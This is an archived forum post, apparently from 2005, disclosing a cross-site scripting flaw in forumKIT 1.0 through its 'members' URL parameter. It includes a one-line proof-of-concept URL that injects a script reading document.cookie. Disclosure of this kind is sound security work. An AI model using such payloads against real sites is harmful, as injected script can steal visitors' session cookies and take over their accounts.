PDA

Bekijk Volledige Versie : XSS Vulnerability in ForumKIT



tom cruise
13/01/05, 18:45
Vulnerable System :
forumKIT 1.0

Description :
an XSS is founded in the variable members that have the value 'true'
you can exchange it with XSS Code .

exploit :
http://forum.target.com/f.aspx?members="><script>alert(document.cookie);</script>

this exploit is discovered by : neO
e-mail : al_modamer@hotmail.com